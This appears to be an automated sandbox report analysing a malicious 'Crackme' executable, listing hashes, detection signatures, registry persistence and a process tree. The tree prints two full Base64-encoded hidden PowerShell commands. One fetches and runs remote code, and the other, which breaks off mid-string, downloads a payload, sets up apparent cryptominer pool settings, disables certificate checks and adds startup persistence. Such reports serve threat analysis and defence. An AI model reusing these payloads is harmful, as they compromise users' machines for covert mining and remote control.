91fe37a85f89357e6c12bc41b4953cde5b871c9ccf72b5b30ed5b91ea366f855

Analysis

max time kernel
147s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/10/2026, 19:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_Crackme.exe
Size 14.2MB
Sample261022-xtmfaaxs3k
SHA256 91fe37a85f89357e6c12bc41b4953cde5b871c9ccf72b5b30ed5b91ea366f855
MD5 03d32b8840384e2c25589c8d7f3194e1
SHA1 d2f271867d90737cde461d06178bf73c5d07c04e
SHA512 11f489285c9dc9790ef6000bb954de9ab1ee4b678d9931265a26dafd285fb68a3def77a78697b43da73a8c86f10a0e10f22d7056e43b9e99ce13fc5dbddae73d
SSDEEP 49152:yhVE7yRCmUxKfRV6CAVqe1gHjBy/ymEK/16wccHtgshpCVjiVY:yhVDdV0bHtRjCVjYY
TLSH
T1BFE68E2BA3E901ACC0B3C07D89475507EBB2344653A1EEDB56A085665FB7BE01F7A730
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution persistence

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://irm.st/readme.zip

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1960	powershell.exe
8	3852	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1960	powershell.exe
3852	powershell.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	jaffacakes118_Crackme.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	jaffacakes118_Crackme.exe

Executes dropped EXE 1 IoCs

pid	Process
1172	bndDCAF.tmp.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\MicrosoftEdge\\start.vbs\""	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
2600	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1960	powershell.exe
1960	powershell.exe
3852	powershell.exe
3852	powershell.exe
3852	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeIncreaseQuotaPrivilege	3852	powershell.exe
Token: SeSecurityPrivilege	3852	powershell.exe
Token: SeTakeOwnershipPrivilege	3852	powershell.exe
Token: SeLoadDriverPrivilege	3852	powershell.exe
Token: SeSystemProfilePrivilege	3852	powershell.exe
Token: SeSystemtimePrivilege	3852	powershell.exe
Token: SeProfSingleProcessPrivilege	3852	powershell.exe
Token: SeIncBasePriorityPrivilege	3852	powershell.exe
Token: SeCreatePagefilePrivilege	3852	powershell.exe
Token: SeBackupPrivilege	3852	powershell.exe
Token: SeRestorePrivilege	3852	powershell.exe
Token: SeShutdownPrivilege	3852	powershell.exe
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeSystemEnvironmentPrivilege	3852	powershell.exe
Token: SeRemoteShutdownPrivilege	3852	powershell.exe
Token: SeUndockPrivilege	3852	powershell.exe
Token: SeManageVolumePrivilege	3852	powershell.exe
Token: 33	3852	powershell.exe
Token: 34	3852	powershell.exe
Token: 35	3852	powershell.exe
Token: 36	3852	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 1960	4884	jaffacakes118_Crackme.exe	84
PID 4884 wrote to memory of 1172	4884	jaffacakes118_Crackme.exe	86
PID 1960 wrote to memory of 3852	1960	powershell.exe	88
PID 3852 wrote to memory of 2600	3852	powershell.exe	102

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Crackme.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Crackme.exe"
1⤵
- Checks BIOS information in registry
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoACgAkAFUAcgBsACAAIAAgACAAIAAgACAAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQByAG0ALgBzAHQALwByAGUAYQBkAG0AZQAuAHoAaQBwACcACgAkAEEAcABwAE4AYQBtAGUAIAAgACAAIAA9ACAAJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwAKACQAUwB0AHIAYQB0AHUAbQBVAHIAbAAgAD0AIAAnAHMAdAByAGEAdAB1AG0AKwB0AGMAcAA6AC8ALwBjADIALgBkAG8AeABiAGkAbgAuAGMAeQA6ADMAMwAzADMAJwAKACQAVQBzAGUAcgBBAHIAZwAgACAAIAAgAD0AIAAnAHgALgB4AG0AcgByAGkAZwAnAAoACgAkAFQAYQByAGcAZQB0AEQAaQByACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACcATQBpAGMAcgBvAHMAbwBmAHQAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlACcACgAkAFoAaQBwAFAAYQB0AGgAIAAgACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBrAC4AegBpAHAAJwAKACQARQB4AGUAUABhAHQAaAAgACAAIAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAoACQAQQBwAHAATgBhAG0AZQAgACsAIAAnAC4AZQB4AGUAJwApAAoAJABWAGIAcwBQAGEAdABoACAAIAAgACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABUAGEAcgBnAGUAdABEAGkAcgAgACcAcwB0AGEAcgB0AC4AdgBiAHMAJwAKACQAUgBlAGEAZABtAGUAUABhAHQAaAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAHIAZQBhAGQAbQBlAC4AbQBkACcACgAKACQAUgB1AG4ASwBlAHkAIAAgACAAIAAgACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAKACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARQB4AHAAbABvAHIAZQByAFwAUwB0AGEAcgB0AHUAcABBAHAAcAByAG8AdgBlAGQAXABSAHUAbgAnAAoACgAkAEUAbgBhAGIAbABlAGQAQgBsAG8AYgAgAD0AIABbAGIAeQB0AGUAWwBdAF0AKAAwAHgAMAAyACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAAKQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzACAAewAKACAAIAAgACAAJABmAGwAYQBnAHMAIAA9ACAAMAAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABuACAAaQBuACAAQAAoACcAVABsAHMAMQAzACcALAAnAFQAbABzADEAMgAnACwAJwBUAGwAcwAxADEAJwAsACcAVABsAHMAJwAsACcAUwBzAGwAMwAnACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB2AGEAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAJABuAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHYAYQBsACkAIAB7ACAAJABmAGwAYQBnAHMAIAA9ACAAJABmAGwAYQBnAHMAIAAtAGIAbwByACAAWwBpAG4AdABdACQAdgBhAGwAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAkAGYAbABhAGcAcwAgAC0AZQBxACAAMAApACAAewAgAHIAZQB0AHUAcgBuACAAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQAkAGYAbABhAGcAcwAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQAIAB7AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAYQByAGEAbQAoACQAcwAsACQAYwAsACQAYwBoACwAJABlACkAIAByAGUAdAB1AHIAbgAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAewAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgACQAbgB1AGwAbAAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzAAoACgBmAHUAbgBjAHQAaQBvAG4AIABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAYgBvAG8AbABdACgARwBlAHQALQBDAG8AbQBtAGEAbgBkACAALQBOAGEAbQBlACAAJABOAGEAbQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAJABPAGIAagBlAGMAdAAsAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAE8AYgBqAGUAYwB0ACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAAkAHAAIAA9ACAAJABPAGIAagBlAGMAdAAuAFAAUwBPAGIAagBlAGMAdAAuAFAAcgBvAHAAZQByAHQAaQBlAHMAWwAkAE4AYQBtAGUAXQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABwACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcAAuAFYAYQBsAHUAZQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEAcwBzAGUAcgB0AC0AUwB0AGEAcgB0AHUAcABFAG4AYQBiAGwAZQBkACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQBbAHMAdAByAGkAbgBnAF0AJABSAHUAbgBOAGEAbQBlACkACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAKQApACAAewAgAHIAZQB0AHUAcgBuACAAJABmAGEAbABzAGUAIAB9AAoACgAgACAAIAAgACQAcgB1AG4ASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABSAHUAbgBLAGUAeQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAJAByAHUAbgBWAGEAbAB1AGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAHIAdQBuAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAcgB1AG4AVgBhAGwAdQBlACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQAgAH0ACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACkAKQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEEAcABwAHIAbwB2AGUAZABSAHUAbgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAgAH0ACgAKACAAIAAgACAAJABhAHAAcAByAG8AdgBlAGQASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQAYgBlAGYAbwByAGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAGEAcABwAHIAbwB2AGUAZABJAHQAZQBtACAALQBOAGEAbQBlACAAJABSAHUAbgBOAGEAbQBlAAoACgAgACAAIAAgAGkAZgAgACgAJABiAGUAZgBvAHIAZQAgAC0AYQBuAGQAIAAkAGIAZQBmAG8AcgBlAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEAIAAtAGEAbgBkACAAJABiAGUAZgBvAHIAZQBbADAAXQAgAC0AZQBxACAAMgApACAAewAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlACAAfQAKAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAQgBpAG4AYQByAHkAIAAtAFYAYQBsAHUAZQAgACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgAgACAAIAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAA9ACAARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAGEAZgB0AGUAcgAgAD0AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAALQBPAGIAagBlAGMAdAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABhAGYAdABlAHIAKQAgAHsAIAByAGUAdAB1AHIAbgAgACQAZgBhAGwAcwBlACAAfQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAoACgAJABhAGYAdABlAHIAIAAtAGoAbwBpAG4AIAAnACwAJwApACAALQBlAHEAIAAoACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBqAG8AaQBuACAAJwAsACcAKQApAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAAVABlAHMAdAAtAEEAcABwAFIAdQBuAG4AaQBuAGcAIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AKABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAKQBdAFsAcwB0AHIAaQBuAGcAXQAkAFAAcgBvAGMATgBhAG0AZQAsACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQBbAHMAdAByAGkAbgBnAF0AJABUAGEAcgBnAGUAdABQAGEAdABoACkACgAgACAAIAAgAAoAIAAgACAAIAAkAGUAeABlACAAPQAgACQAUAByAG8AYwBOAGEAbQBlACAAKwAgACcALgBlAHgAZQAnAAoACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAGMAaQBtACAAPQAgAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAdABlAHIAIAAiAE4AYQBtAGUAPQAnACQAZQB4AGUAJwAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABjAGkAbQApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAcAAgAGkAbgAgACQAYwBpAG0AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABwAC4ARQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoACAALQBhAG4AZAAgACgAJABwAC4ARQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoACAALQBpAGUAcQAgACQAVABhAHIAZwBlAHQAUABhAHQAaAApACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjAHMAIAA9ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABQAHIAbwBjAE4AYQBtAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHAAcgBvAGMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAcAAgAGkAbgAgACQAcAByAG8AYwBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHAALgBQAGEAdABoACAALQBhAG4AZAAgACgAJABwAC4AUABhAHQAaAAgAC0AaQBlAHEAIAAkAFQAYQByAGcAZQB0AFAAYQB0AGgAKQApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0ARgBpAGwAZQBXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAFUAcgBsACwAWwBzAHQAcgBpAG4AZwBdACQATwB1AHQARgBpAGwAZQApAAoAIAAgACAAIAAkAGgAZAByACAAPQAgAEAAewAgACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACAAPQAgACcATQBvAHoAaQBsAGwAYQAvADUALgAwACcAIAB9AAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBDAG8AbQBtAGEAbgBkAEUAeABpAHMAdABzACAAJwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAHIAbAAgAC0ATwB1AHQARgBpAGwAZQAgACQATwB1AHQARgBpAGwAZQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZAByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwADsAIAByAGUAdAB1AHIAbgAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABFAG4AYQBiAGwAZQAtAFIAZQBsAGEAeABlAGQAQwBlAHIAdAA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAE8AdQB0AEYAaQBsAGUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGQAcgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAA7ACAAcgBlAHQAdQByAG4AIAB9AAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgAHsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgACcAUwB0AGEAcgB0AC0AQgBpAHQAcwBUAHIAYQBuAHMAZgBlAHIAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIAAkAFUAcgBsACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAkAE8AdQB0AEYAaQBsAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAOwAgAHIAZQB0AHUAcgBuACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAB9AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApAAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAJABPAHUAdABGAGkAbABlACkAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIAAkAHcAYwAuAEQAaQBzAHAAbwBzAGUAKAApACAAfQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAARQBuAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQACgAgACAAIAAgACAAIAAgACAAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApAAoAIAAgACAAIAAgACAAIAAg